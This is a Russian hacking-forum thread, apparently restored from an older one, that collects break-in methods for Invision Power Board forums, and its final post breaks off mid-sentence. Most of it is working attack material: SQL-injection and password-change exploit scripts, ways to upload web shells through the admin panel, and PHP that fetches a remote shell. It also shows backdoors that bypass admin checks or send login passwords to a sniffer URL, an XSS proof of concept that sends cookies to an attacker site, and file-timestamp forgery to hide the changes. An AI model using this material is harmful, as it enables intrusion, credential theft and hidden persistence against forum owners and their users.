В связи с потерей одноимённой темы, принято решение о её востановлении, с соблюдением авторских прав людей, чьи посты были изначально в этом топике. Здесь выкладываем только уязвимости форума Invision Power Board Просьбы о взломах, помощь в определении версии, и вопросы по этому движку убедительная просьба оставлять в соответствующих топиках: [Задай Вопрос - Получи Ответ] https://forum.antichat.ru/thread80624.html Раздел: Просьбы о взломах https://forum.antichat.ru/forum44.html Так-же рекоммендуется к прочтению: [Заливка шелла в Форуме] https://forum.antichat.ru/thread76949.html IPB 2.1.7 passive XSS https://forum.antichat.ru/threadnav23405-1-10.html sql-inj в ipb <=2.1.7 http://forum.antichat.ru/threadnav25088-1-10.html Invision Power Board 2.1.7 Exploit http://forum.antichat.ru/threadnav57362-1-10.html Правила раздела! https://forum.antichat.ru/thread39445.html При копировании материала по уязвимостям IPB с других ресурсов , ссылка на источник обязательна
[Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов. Автор k1b0rg Вот смотрел я на нарастающие однотипнвые темы про Ipb, и решил объединить все что известно про ipb. Мой рассказ будет состоять из несколько пунктов: 1.Определение версии форума. 2.Взлом форума. 3.Закачака шелла и использование админки. 4."Трояним" форум. (1)Определяем версию 1.3 присутсвует папки: /html/emoticons/ /fonts/ /Skin/ /ssi_templates/ присутсвтуют файлы ssi.php show.php css.php conf_mime_types.php 2.0.* файлы: /sources/help.php /sources/usercp.php /sources/trial_functions.php /sources/topics.php /sources/taskloader.php реагирует на 403 "доступ запрещен" например к папке /ips_kernel/ как 403: Invision Power Board -> Forbidden 2.1.* Присутсвуют папка /ips_kernel/PEAR/ присутствует файлы: info.php реагирует на 403 "доступ запрещен" например к папке /ips_kernel/ как 403: IBForums-> Forbidden (2)А теперь займемся взломом Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку каждый вид взлома: 1) sql инъекция Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее. затем качаем сплойты http://milw0rm.com/id.php?id=1036 http://milw0rm.com/id.php?id=1013 http://milw0rm.com/id.php?id=648 http://www.web-hack.ru/exploit/source/r57ipb2.txt в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char); разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова. Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0 где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без http://), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума (0- 1.3; 1- 2.0.*) Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен. Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) http://video.antichat.org/author/Coyl.html читаем еще здесь http://www.securitylab.ru/vulnerability/205468.php http://www.securitylab.ru/vulnerability/204662.php http://www.securitylab.ru/vulnerability/203717.php http://www.securitylab.ru/vulnerability/203105.php http://www.securitylab.ru/vulnerability/202735.php http://www.securitylab.ru/vulnerability/201944.php http://www.securitylab.ru/vulnerability/202802.php http://www.securitylab.ru/vulnerability/205603.php 2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме Воруем куки, подделываем их(лучше всего под Opera, или CookieEditor), но в админку мы не зайдем, незная пароль(даже если будет хеш), В АДМИНКУ МОЖНО ЗАЙТИ ТОКА ЗНАЯ ПАРОЛЬ! (3)Заливаем шелл. ipb 1.3 заходим под админом(как стать админом уже много раз обсуждалось) Далее заходим в "Administration(Администрирование)" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии: 1.3 /forum/html/emoticons/shell.php 2.* /forum/style_emoticons/default/shell.php где shell.php имя вашего загруженного шелла. ipb 2.* заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл. Скачиваем базу данных. Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим). Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо. (4)"ТРОЯНИМ" форум. А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем. ищем такие строки (по дефолту 382 строчка) ipb 1.3 PHP: if ($GROUP['g_access_cp'] != 1) { do_login("You do not have access to the administrative CP"); } else { $session_validated = 1; $this_session = $row; } и заменяем на PHP: if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1) { $session_validated = 1; $this_session = $row; } и ищим строчки (по дефолту 442 строчка) PHP: if ($GROUP['g_access_cp'] != 1) { do_login("You do not have access to the administrative CP"); } else { //---------------------------------- // All is good, rejoice as we set a // session for this user //---------------------------------- $sess_id = md5( uniqid( microtime() ) ); заменяем соотвественно на PHP: if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1) { //---------------------------------- // All is good, rejoice as we set a // session for this user //---------------------------------- $sess_id = md5( uniqid( microtime() ) ); потом ползем в файл /sources/Admin/ad_mysql.php и удаляем строки PHP: if ($MEMBER['mgroup'] != $INFO['admin_group']) { $ADMIN->error("Sorry, these functions are for the root admin group only"); } ipb 2.* /sources/action_admin/login.php по дефолту 147 строчка удаляем строки PHP: if ($mem['g_access_cp'] != 1) { $this->login_form("You do not have access to the administrative CP"); } else { и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек. sql.php по дефолту 46 строка: удаляем PHP: if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group']) { $this->ipsclass->admin->error("Sorry, these functions are for the root admin group only"); } потом идем сюда /sources/lib/admin_functions.php (строка 262) изменяем строку: PHP: $this->ipsclass->admin_session['_session_validated'] = 0; на PHP: $this->ipsclass->admin_session['_session_validated'] = 1; потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка) PHP: if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group']) { $this->ipsclass->admin->error("Sorry, these functions are for the root admin group only"); } А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет { do_login("You do not have access to the administrative CP"); } то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой touch -t 200310240921 где 2003 год 10 месяц 24 число 09:21 часов советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же. PS Материал востановлен Дата публикации: 11.12.2005, 02:16. Автор k1b0rg . Были внесены изменения по оформлению, и изменены некоторые линки на рабочие
залитие шела Автор ShAnKaR залитие шела в ipb 1.3.* через шаблоны вроде ни где не освещалась эта тема, если было то удалите. иногда бывает что нет доступа на запись в папку смайликов тогда можно попробывать залить свой код через шаблоны. идем в админ панели в опцию скины и шаблоны->HTML шаблоны экспортируем к себе на комп используемый на данный момент шаблон открываем и изменяем начальный кусок кода например на : Цитата:<!--TEMPLATE_SET|Invision Power Board Template Set,Invision Power Board,[email protected],http://www.invisionboard.com--> далее заливаем как новый шаблон, и идем в http://localhost/upload/Skin/s2/skin_boards.php?ww=phpinfo(); может быть и не s2- цифра в зависимости от номера шаблона PS Материал востановлен Дата публикации: 21.01.2007, 23:21 Автор ShAnKaR
SQL-inj в админке IPB 2.1.7 Автор: KPOT_f!nd Вот еще бага IPB 2.1.7 аффтор баги: creatorzzz PS Материал востановлен Дата публикации: 19.01.2007, 05:47 Автор KPOT_f!nd
залитие шела Автор ShAnKaR инклуд локального файла в ipb 1.3 естественно если есть доступ в админку идем в панельку для mysql и делаем запрос : потом идем по адресу http://localhost/upload/admin.php?adsess=86e7bc44&act=lang&code=edit2&id=5 и смотрим че получилось, вроде ни где такое еще не упоминалось P.S. локальный файл должен быть доступен для записи PS Материал востановлен Дата публикации: 29.01.2007, 23:17 Автор ShAnKaR
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit Автор Dimon_Aka_Sexxx Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit PHP: <?php /* Debug Mode password change vulnerability Affects Invision Power Borard 2.0.0 to 2.1.7 by Rapigator This works if: "Debug Level" is set to 3 or Enable SQL Debug Mode is turned on In General Configuration of the forum software. */ // The forum's address up to and including 'index.php' $site = "http://localhost/forums/index.php"; // An existing user's login name $name = "admin"; // The new password(3-32 characters) $pass = "1234"; // You can use a proxy... // $proxy = "1.2.3.4:8080"; // ----------------------------- $site .= "?"; $suffix = ""; $name = urlencode($name); $pass = urlencode($pass); $curl = curl_init($site.'act=Reg&CODE=10'); curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 10); $page = curl_exec($curl); curl_close($curl); if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) { $prefix = $regs[1]; $regid = $regs[2]; $regcode = $regs[3]; } else { $suffix = "&debug=1"; $curl = curl_init($site.'act=Reg&CODE=10'.$suffix); curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 10); $page = curl_exec($curl); curl_close($curl); if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) { $prefix = $regs[1]; $regid = $regs[2]; $regcode = $regs[3]; } } if (!isset($regid) || !isset($regcode)) { echo "Error: Probably not vulnerable, or no forum found"; exit; } $curl = curl_init($site.$suffix); curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}®id={$regid}®_code={$regcode}"); curl_setopt($curl, CURLOPT_TIMEOUT, 10); $page = curl_exec($curl); curl_close($curl); if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) { change_pass($regcode,$regid,$regs[1],$regs[2]); } if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) { change_pass($regcode,$regid,$regs[1],$regs[2]); } function change_pass($regcode,$regid,$vid,$userid) { global $site, $proxy, $name, $pass; $curl = curl_init($site.$suffix); curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}®id={$regid}®_code={$regcode}&pass1={$pass}&pass2={$pass}"); curl_setopt($curl, CURLOPT_TIMEOUT, 10); $page = curl_exec($curl); curl_close($curl); echo "Password Changed!"; exit; } ?> PS Материал востановлен Дата публикации: 30.01.2007, 10:08 Автор Dimon_Aka_Sexxx
протроянивание Автор VampiRUS Если возможно изменение исходников, то для того чтоб не брутить хеши: Создаем какую-нибудь неприметную табличку с полями id, name, password. находим в /sources/action_public/login.php (по умолчанию 545'ая строка): PHP: if ( $this->han_login->return_code != 'SUCCESS' ) { $this->log_in_form( 'wrong_auth' ); } после них записываем: PHP: $ppass=$this->ipsclass->input['PassWord']; $this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')"); и для того чтоб пользователям пришлось вводить пароль, а не пользовались автовходом, удаляем их сессии: UPDATE ibf_members set member_login_key='1' и очистить таблицу ibf_sessions. PS Материал востановлен Дата публикации: 09.04.2007, 13:52 Автор VampiRUS
Ipb 2.1.7 [PDF] Активная Xss Автор md5f1h Активная XSS На 2.1.7 проверял на ост нет... Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie Ps /дополнение/ не то что на ие. Работает при установленно адоб акробат ридере <=7 PS Материал востановлен Дата публикации: 29.04.2007, 17:28 Автор md5f1h
залитие шела Автор _GaLs_ 1. "Administration(Администрирование)"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)" Обычно шелл грузится, если не включен SAFE MODE и хватает прав * /forum/style_emoticons/default/shell.php где default выбраная папка для загрузки shell.php имя вашего загруженного шелла. Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи. Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос. Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера. 2. "Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла" phtml application/octet-stream выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да. идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше. после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл. 3. "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем: -------------------------------------------------------------------- Примечание Grey'я: -------------------------------------------------------------------- Запрос который написал ты (а точнее ты написал 4 запроса) создает таблицу, запихивает в неё код шелла, затем содержимое талицы уже выводится в файл, а потом таблица удаляется. Можно более прямо составить запрос (вывести произвольную строку в файл): т.к. в папку uploads заливаются аватары, то на ней должны стоять права на запись. -------------------------------------------------------------------- -------------------------------------------------------------------- 4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой: PHP: $linky="http://site.ru/shell.txt"; $saved="/usr/home/www/site/public_html/forum/ uploads/shell.php"; $from=fopen("$linky","r"); $to=fopen("$saved","w"); while(!feof($from)){ $string=fgets($from,4096); fputs($to,$string); } fclose($to); fclose($from); Узнаем полный путь к uploads: "Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/" обычно этот путь указывается. -------------------------------------------------------------------- -------------------------------------------------------------------- PS Материал востановлен Дата публикации: 24.05.2007, 09:31 Автор _GaLs_
Уязвимости Модов IPB Автор _GaLs_ Уязвимости Модов IPB Army System SQL Injection Exploit PHP: <?php /* --------------------------- EXPLOIT --------------------------- Invision Power Board Army System Mod 2.1 SQL Injection Exploit Tested on: Latest version (2.1.0) Discovered on: 06.02.2006 by Alex & fRoGGz Credits to: SecuBox Labs PLEASE READ THIS ! The query of the SQL Injection depends about the number of fields in the sql table We have successfully tested the exploit on a new fresh IPB 2.1.x with Army System Mod 2.1 installed IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ $target = "http://site.com/forums/"; // <--- Where ? $prefix = "ibf_"; // <--- SQL prefix ? $id = 1; // <--- Who ? print_r(get_infos($target,$prefix,$id)); if(!get_infos($target,$prefix,$id)) echo "failed"; function get_infos($target,$prefix,$id) { $inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,"; $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,"; $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,NULL,NULL,"; $inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,"; $inject.= "NULL+FROM+".$prefix."members+WHERE+id="; $filename = $target . $inject . $id; $handle = fopen ($filename, "r"); $infos = array(); if (feof($handle)) { continue 2; } if ( $handle ) { while ( ($buffer = fgets( $handle )) ) { if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) { $infos['md5'] = strip_tags ( fgets( $handle) ); break; } } } fclose ($handle); if (count($infos) == 1) return $infos; return false; } ?> D2-Shoutbox [версия 4.2] SQL Injection Exploit PHP: #!/usr/bin/perl ################################################## ####### # _______ _______ ______ # # |______ |______ | \ # # ______| |______ |_____/ # # # #D2-Shoutbox 4.2(IPB Mod)<=SQL injection # #Created By SkOd # #SED security Team # #http://www.sed-team.be # #[email protected] # #ISRAEL # ################################################## ####### #google: #"Powered By D2-Shoutbox 4.2" ################################################## ####### use IO::Socket; $host = $ARGV[0]; $user = $ARGV[2]; $uid = $ARGV[3]; $pid = $ARGV[4]; $type = $ARGV[5]; sub type() { if($type==1){$row="password";} if($type==2){$row="member_login_key";} else{print "Just 1 Or 2\n";exit();} $sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id= ".$user."/*"; $path = $ARGV[1].$sql; } sub header() { print q{ ################################################## ##################### ### D2-Shoutbox 4.2 SQL injection Exploit ### ### Tested On D2-Shoutbox 4.2 And IPB 2.4 ### ### Created By SkOd, Sed Security Team ### ################################################## ##################### sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)] sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2 ################################################## ##################### } } sub sedsock() { $sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "[-]Connect Failed\r\n"; print $sedsock "GET $path HTTP/1.1\n"; print $sedsock "Host: $host\n"; print $sedsock "Accept: */*\n"; print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n"; print $sedsock "Connection: close\n\n"; while($res = <$sedsock>){ $res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n"; } } if(@ARGV < 6){ header(); }else{ type(); sedsock(); } Remote SQL Injection Exploit PS Материал востановлен Дата публикации: 24.05.2007, 16:56 Автор _GaLs_
Уязвимости Модов IPB Автор _GaLs_ Уязвимости Модов IPB D21-Shoutbox 1.1 PHP: #!/usr/bin/perl ######################################## # Coded by k1b0rg (768620) # # shout.pl <site> <id> # # shout.pl http://site.ru/forum/ 1 # # shout.pl http://site.ru/forum/ 1,2 # ######################################## use LWP::UserAgent; my $browser = LWP::UserAgent->new(); $site=$ARGV[0]; my $admins_id=$ARGV[1]; @admin=split(',',$admins_id); my $res=$browser->get($site.'index.php?act=Shoutbox'); if($res->content=~/act=Shoutbox&shout=(d+)/is) { my $idshout=$1; syswrite STDOUT, "\n".'Shout box found!'; my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'\''); if($res->content =~ /(SQL error|mySQL query error)/is) { syswrite STDOUT, "\n".'Mode(sql) shoutbox: [OK]'; if($res->content =~ /FROM (.*?)shoutbox/i) { $prefix_bd=$1; syswrite STDOUT, "\n".'prefix_bd_shoutbox: ['.$prefix_bd.']'; &shout_sql($idshout); } } else { syswrite STDOUT, "\n".'NOT Vulnerebility';} } else { syswrite STDOUT, "\n".'Shout box mode NOT FOUND!';} sub shout_sql($) { my $idshout=$_[0]; foreach my $id(@admin) { syswrite STDOUT, "\n".'Admin id ('.$id.') : ['; for($i=1;$i<=32;$i++) { &position_shout(97,102,$i,$id,$idshout,'pass') if (!&position_shout(48,57,$i,$id,$idshout,'pass')) } syswrite STDOUT, ':'; for($i=1;$i<=5;$i++) { &position_shout(33,126,$i,$id,$idshout,'salt'); } syswrite STDOUT, ']'; } } sub position_shout($$$$$$) { my ($j,$max,$i,$mid,$idshout,$label)=@_; while($j<=$max) { if(&scan_shout($site,$j,$mid,$i,$idshout,$label)) { syswrite STDOUT, chr($j); return 1;} $j++; } } sub scan_shout($$$$$) { my ($site,$num,$mid,$pos,$idshout,$label)=@_; my $field=($label eq 'pass')?('converge_pass_hash')'converge_pass_sal t'); my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'+and(ascii(substring((select+'.$ field.'+from+'.$prefix_bd.'members_converge+where+ converge_id='.$mid.'),'.$pos.',1))='.$num.')/*'); return 1 if($res->content=~/varssidss=s[(d+)];/is); } ibProArcade 2.x SQL Injection Exploit PS Материал востановлен Дата публикации: 26.05.2007, 12:20 Автор _GaLs_
Invision Power Board Passive XSS Автор +toxa+ Passive XSS бажный кусок кода: PHP: во всех файлах примерно так <html> <head> <title>Insert Div/Span</title> <script type="text/javascript"> <!-- //----------------------------------------- // Attempt to get editor ID //----------------------------------------- var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?> var this_module = 'email'; var this_height = 300; var allow_advanced = null; var current_selection = null; .... в module_bbcodeloader.php также, тока с добавкой .... //----------------------------------------- var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?> var bbcode_id = <?php print '"'.trim($_REQUEST['id']).'";'; ?> var this_module = 'bbcodeloader'; .... xss: применение: заплатка: кидаем .htaccess файлик в папку /jscripts/folder_rte_files/ с содержанием ЗЫ тестил на версии 2.2.2 ЗЗЫ не пашет при magic_quotes = On =\ PS Материал востановлен Дата публикации: 07.06.2007, 00:07 Автор+toxa+
Cross Site Scripting vulnerability Автор +toxa+ Invision Power Board 2.2.2 Cross Site Scripting PHP: # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Invision Power Board 2.2.2 Cross Site Scripting vulnerability # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Vendor site: http://www.invisionboard.com/ # Vulnerability found by Iron (ironwarez.info) # # Greets to all **** Security Group members # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # The vulnerability: # Open up any php file in /jscripts/folder_rte_files # See: var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?> # # $_REQUEST['editorid'] isn't sanitized in any way, so allows # other uses to execute their own code. # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # PoC (Log cookies & run SQL query) # # Requirements: server supporting PHP, user account on # target forum, database prefix needs to be known. # # Create a file called name.php on your webserver and put this code in it: # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # <?php $target = "http://www.yourtarget.com/forum"; #Target forum without trailing slash $prefix = "ibf_"; #Database prefix, default: ibf_ $member = 22; #Member id to promote $newgroup = 4; # The id of the new group to promote, normally 4 is root admin $ip = $_SERVER['REMOTE_ADDR']; $referer = $_SERVER['HTTP_REFERER']; $agent = $_SERVER['HTTP_USER_AGENT']; $data = $_GET['c']; $time = date("Y-m-d G:i:s A"); $text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n"; $file = fopen('log.txt' , 'a'); fwrite($file,$text); fclose($file); if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff)) { print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql§ion=admin&query=UPDATE+ '.$prefix.'members+SET +mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'. $member.'%27&st="></>'; } ?> # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Also create a file in the same directory named "log.txt" and chmod it 777 # # Now, create a file called script.js on your webserver, put this code in it: # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie; # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # And, last but not least, create a file that combines those two;) # Name it blah.html and put this code in it: # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # <iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></ script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe> PS Материал востановлен Дата публикации: 14.06.2007, 18:00 Автор+toxa+
залитие шела Автор def_ два небольших дополнения, (мож кому полезно будет) к следующим моментам: (к посту https://forum.antichat.ru/showpost.php?p=912327&postcount=7) если кто-то не хочет записывать данные в БД, можно традиционно отправить их на снифер, для этого вместе вышеприведенного пишем этот код: PHP: $ppass=$this->ipsclass->input['PassWord']; $snifurl = 'http://127.0.0.1/1.php?user='.$username.'&pass='.$ppass; $fl = @fopen($snifurl, "r"); @fclose( $fl ); (к посту https://forum.antichat.ru/showpost.php?p=912449&postcount=9) надо в переменной $saved заменять полный путь к папке с аплоадами, на путь с вашего сервера, его можно взять или в "Основных настройках форума" или переменную переписать так: PHP: $saved=ROOT_PATH . "uploads/shell.php"; PS Материал востановлен Дата публикации: 17.06.2007, 19:39 Автор def_
Заливка шела Ipb 2.2.2 Автор: n-000 Как то я столкнулся с такой проблемой : Есть админка от форума IPB v2.2.2, но хотелось бы что то вроде шелла =)) Эта версия оказалась намного доработанней чем прежние и залить шелл казалось мне просто мало реальным. Но я прекрасно осознавал что в форуме с такими наворотами и настройками фсегда найдёца недоработка... мелоч, а приятно -) Скачал себе такой двиг и начал тестить на локалхосте... вобщем зделал попытку заливки через SQL, там в форуме есть такая фича в админке, как Управление SQL во фкладке ПРОЧЕЕ ! Сработало ! заарал я и приконектился к жэртве -) Но однако получился облом, т к конфигурация сервера на котором хостился форум более жёсткая чем у меня на локалхосте -( Патом пробывал залить через фичу добавления смайликов и стилей ... т к я не очень дружу с хмл то порядком поиздевавшись над хмл файликами и своими нервами я бродил по админке и искал другие способы... И тут во фкладке НАСТРОЙКИ я набрёл на функцию *Добавить настройку* и начал изучать открывшующя пагу... и тут я наткнулся на вот такие слова *Выполнение PHP-кода до отображения или сохранения настройки:* ! Это уже интересней подумал я с расплывающимся ипалом ) И первым жэ делом зделал так: Сперва я создал настройку (задаёте произвольное название настройке, например 123) и в поле для PHP ввел вот такое PHP: $save = 1; до сохранения настройки. Используйте $key и $value во время написания PHP-кода. include('http://kaki.net/shell.txt'); И тут жэ снова обломался, получив сообщение от форума +----------------------------------------------------------------+ | You cannot use executable PHP function keywords such as | | (include, require, include_once, require_once, exec, system and passthru) | | | +----------------------------------------------------------------+ -Наивный албанския парень, сказал мне форум (для тех у кого плохо с англицким =)) Но тут сразу жэ задумался - а что если средствами php зделать скрипт для 